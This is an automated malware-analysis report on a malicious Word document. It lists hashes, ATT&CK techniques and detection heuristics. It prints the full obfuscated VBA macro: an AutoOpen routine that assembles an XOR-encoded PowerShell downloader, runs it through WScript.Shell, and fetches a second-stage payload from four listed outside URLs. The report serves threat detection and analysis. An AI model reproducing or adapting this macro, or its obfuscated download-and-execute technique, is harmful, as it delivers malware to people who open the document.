Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 784002e476b3d2fc…

MALICIOUS

Office (OLE)

208.2 KB Created: 2018-07-02 22:04:00 Authoring application: Microsoft Office Word First seen: 2018-07-23
MD5: 71953bb216e06d90e974abb46e39faeb SHA-1: 001c7c14bfd3c52209160f146e1479d59d59f9ff SHA-256: 784002e476b3d2fc184e80317a7859bf27a3fbe225ccadc62cc3c81f83e935c6
290 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1059 Command and Scripting Interpreter T1204.002 Malicious File T1566.001 Spearphishing Attachment

The sample contains VBA macros with an AutoOpen function, indicating an attempt to automatically execute code upon opening. Critical heuristics indicate the use of WScript.Shell and Shell() calls, strongly suggesting the macro is designed to download and execute a secondary payload. The presence of these indicators points to a macro-based downloader, a common initial stage for malware delivery.

Heuristics 10

  • VBA macros detected medium 5 related findings OLE_VBA_MACROS
    Document contains VBA macro code
  • WScript.Shell usage critical OLE_VBA_WSCRIPT
    WScript.Shell usage
    Matched line in script
       JPUnS = 82612 * iirfr / UQEuI + AdcTnq - 67285 * dctOi / zJinwR * ShUQHi / biVjl - Hkjwhz
iwGIOiRwMkL = lkiSMACw + CreateObject("Wscript.shell").Run(jHNhwM + Chr(vbKeyP) + DQUHLNp + Chr(vbKeyO) + RdEBTKYSE + zBqAYAw, 353871513 - 353871513)
   zzhvK = 97054 * iLQdP / QzOtB + irTYFs - 10022 * JEUjC / DrQiFt * mQNYud / ZbqIuz - OjYcD
  • CreateObject call high OLE_VBA_CREATEOBJ
    CreateObject call
    Matched line in script
       JPUnS = 82612 * iirfr / UQEuI + AdcTnq - 67285 * dctOi / zJinwR * ShUQHi / biVjl - Hkjwhz
iwGIOiRwMkL = lkiSMACw + CreateObject("Wscript.shell").Run(jHNhwM + Chr(vbKeyP) + DQUHLNp + Chr(vbKeyO) + RdEBTKYSE + zBqAYAw, 353871513 - 353871513)
   zzhvK = 97054 * iLQdP / QzOtB + irTYFs - 10022 * JEUjC / DrQiFt * mQNYud / ZbqIuz - OjYcD
  • Payload URL decoded from an encoded PowerShell loader (4 URLs) high OLE_VBA_ENCODED_PS_DROPPER_URL
    A VBA macro assembles (from literals scattered across helper functions) a WScript.Shell command that runs a PowerShell stage-2 loader whose download URL is hidden in a numeric char-code array — decoded at runtime by [char]($_ -bxor k) (or +k / -k) after splitting on obfuscated delimiters. The decoded hosts (often an @-separated fallback list dropped to %TEMP% and executed) are the next-stage payload URLs, never contiguous on disk; surfaced as IOCs. Self-validating: only a transform yielding a valid host URL is reported.
  • VBA p-code auto-exec with execution tokens high OLE_VBA_PCODE_AUTOEXEC_EXEC
    Compiled VBA/cache stream contains an auto-execution token together with shell/download/object-execution tokens. This catches p-code-only or source-extraction-failure macro documents where visible source is unavailable.
  • AutoOpen macro low OLE_VBA_AUTOOPEN
    AutoOpen macro
    Matched line in script
    Attribute VB_Name = "FEEBoIpEBPl"
Sub AutoOpen()
On Error Resume Next
  • Reference to Windows Script Host high SC_STR_WSCRIPT
    Reference to Windows Script Host
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.
  • Suspicious extracted artifact medium EXTRACTED_FILE_STATIC_TRIAGE
    One or more files extracted from inside this sample matched static suspicious-content checks such as script obfuscation, encoded payload blobs, packed data, or execution/download terms.
  • Embedded URL info EMBEDDED_URL
    One or more URLs were extracted from the document. The URL itself is not a detection — see the per-URL labels for which channel (macro, JS, link annotation, document body, ...) reached each URL.
    URL http://www.chixg.com/hciyoer/U/ Referenced by macro
    • http://baute.org/64/Referenced by macro
    • http://redwire.us/wordprss/hSbhW/Referenced by macro
    • http://www.wheelhousela.com/pBwINgH8/Referenced by macro
    • http://schemas.openxmlformats.org/drawingml/2006/mainIn document text (OLE body)

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 7466 bytes
SHA-256: 292c24fbb3ab44c643b4ec187bc19907d3381ab81b638e81cff7b38e380cccbc
Detection
ClamAV: No threats found
Obfuscation or payload: likely
112 of 200 identifiers look randomly generated (e.g. 'OpalTzKpkJq') — consistent with name-mangling obfuscation.
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "HiKSikzURWz"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True

Attribute VB_Name = "FEEBoIpEBPl"
Sub AutoOpen()
On Error Resume Next
   VGZII = (jfXHGQ / amHccf + (wdzuF - JRpKpC + ftGlVp + 13711 * Wdjzqt * CHUju))
   XsGiC = (jPpNR / pTjfV + (nYVZA - vPGoO + qJHGHB + 386 * TfXah * RwAZo))
   Awnki = (jYzpz / Gbfhw + (rAMrFG - HwdHz + NLdwA + 43293 * ArFGs * pPwIaj))
   NKrYZ = (VEGHsk / XwJMu + (KbCUVq - fYVSq + wwSpzX + 6090 * PDDBRn * EfQNz))
   mNtWz = (sqjnDv / HWIvi + (ifOnH - uskwz + jzrvc + 31863 * HJJJXf * cZZtJA))
   pqLpV = 64814 * GwjnR / lcEHJ + qMvYwT - 8644 * BasEF / WIGHzd * lXSTPk / BiAYH - IFuRM
vBrZwF (KRXCuoG + NzJbCCwTIE + liPssr)
   pQPjC = 56182 * njwOP / XLdOW + VGhBv - 53967 * qlicj / HiWPJc * oHmSR / zcQPz - lhMwIO
   RiQjE = 59487 * ZhdVzH / wFpcEj + rBXZUz - 61881 * RNpudM / VrOoh * fYIDR / ZCPSMd - actHkh
   EmmhF = 14060 * jIXAv / mVONU + jrioa - 44094 * zwwuiN / pXNBa * LDUoEP / isPTw - ticZwM
End Sub
Function vBrZwF(RdEBTKYSE)
On Error Resume Next
   RiSXR = 32088 * XYbArp / TiiEb + WlRdXI - 27033 * nIuzH / JiJBi * QjmNq / PUvTd - dFnjQ
   VJPmN = 78043 * uiOHMn / CjXqjK + EFjdw - 12432 * WNzPp / LCoha * cZziI / LprwE - OBHQEj
   zICrkP = 63971 * jSFkY / WNKmwD + RttETf - 65841 * CkcRT / ZKYzX * nXwOLv / pPuBi - DiPJm
   OnGlBA = 7053 * qvEhtB / DzrzTn + NfsXs - 80107 * aaQPCc / UHLHL * wIkkk / LDHmaj - zabtdI
   kzihi = 56271 * EawCm / bXztwi + XisEHi - 89105 * QTKBl / mhEpOl * qatNIP / pDoSi - tGGiZz
   JPUnS = 82612 * iirfr / UQEuI + AdcTnq - 67285 * dctOi / zJinwR * ShUQHi / biVjl - Hkjwhz
iwGIOiRwMkL = lkiSMACw + CreateObject("Wscript.shell").Run(jHNhwM + Chr(vbKeyP) + DQUHLNp + Chr(vbKeyO) + RdEBTKYSE + zBqAYAw, 353871513 - 353871513)
   zzhvK = 97054 * iLQdP / QzOtB + irTYFs - 10022 * JEUjC / DrQiFt * mQNYud / ZbqIuz - OjYcD
   kvCpcz = 84313 * KhRzq / ivIDjH + fuGNd - 82301 * NdmGzh / WfinJ * NQBEiu / YoYtBp - FBvcz
   pziqj = 51808 * TZjjnH / wbGAKO + khOMpE - 44427 * LrFBov / lWrTBL * uJUmDT / ZYSpfF - QirWF
End Function

Function KRXCuoG()
On Error Resume Next
tziYS = (BfzHkb + 22700)
   shdMR = vHAnP / 37979 + 92804 / uAOjY / 88592 / NJLPQ / zzQME * znJqw
   fplab = (JfwHEr + 96171)
piGKpYD = "wers" + "hell     " + "        " + "      -J" + "oIn" + Chr(40) + "'40K" + "97j8" + "8j71," + "49t9" + "8%105&123" + "!33,99" + "t110o102%" + "105K11"
VzrdqA = (sjkWuZ + 72885)
   wNlKS = (tFZni + 33265)
   kVpuY = (wJCJl + 46111)
XBJVqvp = "1K120~44," + "66t105%1" + "20,34" + "t91~105K1" + "10,79~9" + "6o101j105" + "t98j120&5"
kTAzc = (VfSvXG + 8208)
   nXqpA = (RKHMLM + 25088)
   tEAmT = (tNvzii + 25397)
FNwjjWlKU = "5o40~70" + ",78t12" + "3&49," + "43j1" + "00%120" + "%120@" + "124K54@3" + "5@35" + "t123!1" + "23!123o"
PNmEd = (SuMdKE + 95602)
   jRinVk = (jWHFvS + 50642)
   tHSfQZ = (LMjamO + 74229)
IDNuczV = "34~1" + "11o100o10" + "1%116t1" + "07&34" + "o111%99~" + "97K35K1" + "00t11" + "1K10"
BFVqS = (CHsKO + 30965)
   thTuDY = (EanPvF + 33860)
   vzatR = (rJOwwb + 24603)
LwnPNhDs = "1o117K" + "99t105" + "&126" + "!35&89@3" + "5%76o" + "100~120t" + "120K124,"
BoFPfB = (FKZOXa + 42978)
   mwoiZ = (qRjkL + 61490)
   BXEwH = (bzYhuF + 75042)
oPbfXaTmto = "54@35o35t" + "110@109o" + "121!120" + ",105" + "K34%99%1" + "26~107%35" + "!58!5" + "6,35j"
kjXFLD = (kvWjX + 72994)
   VVJKQR = (CtDRoL + 26621)
   ucmCo = (aUfiUw + 25039)
sGHvS = "76!10" + "0@120" + "K120,124@" + "54~35&35t" + "126K105t" + "104t1" + "23,101"
KRXCuoG = piGKpYD + XBJVqvp + FNwjjWlKU + IDNuczV + LwnPNhDs + oPbfXaTmto + sGHvS
   JjPWR = (PHRRzF + 37765)
   MNNVr = (flkXhK + 90371)
   ifvVR = (JTujz + 20784)
End Function
Function NzJbCCwTIE()
On Error Resume Next
MOwQzY = (UuLwC + 92047)
   wzAXBI = (GPaKF + 28429)
   sTdVj = (WEVAPS + 60970)
fTomO = "o126,105~" + "34%121K12" + "7t35%123" + "&99j126" + ",104%124" + "&126t12" + "7&127~" + "35&10" + "0&95K"
XZRXdr = (njoDp + 36544)
   RoLMc = (PwndY + 61593)
   tizHic = (uBiuH + 82118)
adowF = "110&1" + "00&91j35K" + "76%100!1" + "20!12" + "0K124@" + "54~35,35,"
GzKDs = (ljaLD + 79798)
   OaSrRv = (quEQa + 61144)
   QKREm = (rYWGv + 77469)
ZHaYO = "61K62o62%" + "34j6" + "1o57,57" + "j34@61" + "@53&59" + "%34,61%" + "62!3" + "5j123~105" + ",110~35~" + "89@88%77"
pwOPqs = (tIzrc + 96769)
   bhfNGD = (KXVXz + 7005)
   npEMwd = (JsjAXR + 89033)
ZdbHKhlMIo = "&35K76~10" + "0~120&1" + "20%124" + ",54K35j35" + "j123,123t" + "123~34~1" + "23j100" + "%105&105t" + "96o100@99" + "&121K1" + "27&10"
NEBnaQ = (viGwlU + 98944)
   cnEpKw = (VzGLJR + 78836)
   MjmRih = (IjMFd + 92805)
UhNVLYj = "5o96K109~" + "34K111,9" + "9~97,35,1" + "24o7" + "8K123t6" + "9%66o10" + "7&68!5" + "2o35o43,3" + "4t95j124"
fVzMX = (jfiIw + 98963)
   DhaUz = (PFKPCE + 59108)
   cFUuZ = (CKVrYz + 32388)
PwBizBintpA = "!96!" + "101%" + "120~36,4" + "3&76," + "43&37j" + "55!40@11" + "8!125" + "@66@4" + "4~49o44~" + "43o56~61!" + "59!43@55"
NzJbCCwTIE = fTomO + adowF + ZHaYO + ZdbHKhlMIo + UhNVLYj + PwBizBintpA
   aMwaoD = (zTMiq + 91882)
   wqYYLR = (FBbquN + 10338)
   LjwzfO = (pRpjd + 78341)
End Function
Function liPssr()
On Error Resume Next
OPjPp = (vuKWW + 64030)
   uHSKwn = (vMAUj + 47955)
   Giinm = (bPuTY + 3676)
woFaM = "!40t99t85" + "~70o" + "49@40!105" + "K98@122j5" + "4%120t105" + ",97t124@3" + "9&43%" + "80!43" + "!39t40j" + "118j125" + "%66j39,43"
dGwMI = (kfwPw + 25806)
   dizvG = (iSqki + 90183)
   mDiMw = (uOEjdl + 58983)
wAVhLL = "!34,1" + "05t1" + "16&105&4" + "3@55&106%" + "99&126" + "j105&109"
HHPNl = (WHjBc + 32406)
   XGYiB = (lfrPz + 46011)
   nnZwWK = (pALuYZ + 77740)
KiBhjRHwiF = "&111K1" + "00%36o40%" + "101j88@10" + "1@44@101" + "~98&" + "44%40o70j" + "78~123&"
jswut = (EOUwkC + 40622)
   lmqwoX = (zFwto + 72391)
   WvdFbf = (XkAkm + 32156)
KNfJwNZYpb = "37o119,12" + "0o126o117" + "o119" + "t40~97," + "88!71" + "j34@72" + "@99K" + "123%"
IahVZ = (vVbiL + 74732)
   BIWYz = (ALCvAk + 53077)
   CqOBH = (RNBwv + 6290)
ArDSDkpFRL = "98~96,99@" + "109%104" + "!74t1" + "01,96j105" + "t36j40@10" + "1&88" + "@101!" + "32,44K4" + "0!99K" + "85t70"
raLCOj = (zWAFmw + 65972)
   QUqBtI = (qLiij + 90100)
   EoGXd = (RrlUab + 49992)
Xziizk = "@37%55" + "o95%" + "120~1" + "09,126j1" + "20,33o9" + "2j126,9" + "9@111j" + "105K1"
Sqzju = (VnzhoL + 11786)
   vzmisq = (UHhqIZ + 66972)
   bRiaw = (TfUNfH + 35393)
HBCNudNVCR = "27,127!" + "44t40,99j" + "85&70K55&" + "110t126~1" + "05~1" + "09!103,55" + "%113" + "&111!" + "109!120!1" + "11o1"
nTBln = (PKwpSt + 34243)
   VYYNO = (ZnEVj + 23772)
   URQMjO = (pqqZi + 87067)
PsPCjqj = "00t119!11" + "3~113'.S" + "pliT" + Chr(40) + " '%," + "tKo&!j~" + "@' " + Chr(41) + "|foR"
Vauqw = (KEMazj + 352)
   imizhN = (WhUFw + 84593)
   ihwiV = (lTDjvh + 25462)
kjqcuKi = "EACh-" + "oBJeCT{" + " [ChAR" + "]" + Chr(40) + "$_" + " -BXOr" + " 0x0c  " + Chr(41) + " } " + Chr(41) + "| ." + Chr(40) + " " + "$SHELlid" + "[1]" + Chr(43) + "$sH" + "ELLiD[13" + "]" + Chr(43) + "'x'" + Chr(41) + "  "
liPssr = woFaM + wAVhLL + KiBhjRHwiF + KNfJwNZYpb + ArDSDkpFRL + Xziizk + HBCNudNVCR + PsPCjqj + kjqcuKi
   VYloz = (jWDFv + 25243)
   mjjqm = (fOrkX + 34761)
   LjuDAz = (AHaPAL + 8924)
End Function


Attribute VB_Name = "OpalTzKpkJq"

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